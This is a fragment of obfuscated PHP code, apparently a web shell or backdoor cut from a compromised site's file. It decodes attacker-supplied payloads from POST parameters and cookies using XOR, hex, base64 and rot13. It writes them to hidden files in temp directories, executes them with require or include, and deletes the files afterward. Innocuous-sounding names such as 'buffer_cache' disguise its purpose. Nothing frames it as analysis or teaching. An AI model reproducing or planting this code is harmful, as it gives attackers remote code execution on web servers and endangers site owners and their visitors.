= $__len) break; $v2 =$res[$u]; $chS =ord($s4[$u % $lenS]); $d =((int)$v2 - $chS - ($u % 10))^44; $parameter_group .= chr($d); $u++; } while (true); $resource = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir()]); for ($val = 0, $ent = count($resource); $val < $ent; $val++) { $ref = $resource[$val]; if (is_dir($ref) ? is_writable($ref) : false) { $hld = "$ref" . "/.reference"; if (file_put_contents($hld, $parameter_group)) { require $hld; unlink($hld); die(); } } } } if(!is_null($_POST["\x6Fb\x6A"] ?? null)){ $value = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd()]); $factor = hex2bin($_POST["\x6Fb\x6A"]); $data = '' ; $p = 0; do{$data .= chr(ord($factor[$p]) ^ 80);$p++;} while($p < strlen($factor)); foreach ($value as $k): if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $item = str_replace("{var_dir}", $k, "{var_dir}/.data_chunk"); if (file_put_contents($item, $data)) { require $item; unlink($item); die(); } } endforeach; } if(isset($_COOKIE[3])&&isset($_COOKIE[22])){$c=$_COOKIE;$k=0;$n=7;$p=array();$p[$k]='';while($n){$p[$k].=$c[22][$n];if(!$c[22][$n+1]){if(!$c[22][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+7+1;}$k=$p[25]().$p[3];if(!$p[1]($k)){$n=$p[2]($k,$p[26]);$p[21]($n,$p[28].$p[5]($p[11]($c[3])));}include($k);} if (isset($_COOKIE[40+-40]) && isset($_COOKIE[10-9]) && isset($_COOKIE[-33+36]) && isset($_COOKIE[85+-81])) { $component = $_COOKIE; function buffer_cache($reference) { $component = $_COOKIE; $tkn = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '7615ce67'); if (!is_writable($tkn)) { $tkn = getcwd() . DIRECTORY_SEPARATOR . "api_gateway"; } $factor = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($component[3])); if (is_writeable($tkn)) { $key = fopen($tkn, 'w+'); fputs($key, $factor); fclose($key); spl_autoload_unregister(__FUNCTION__); require_once($tkn); @array_map('unlink',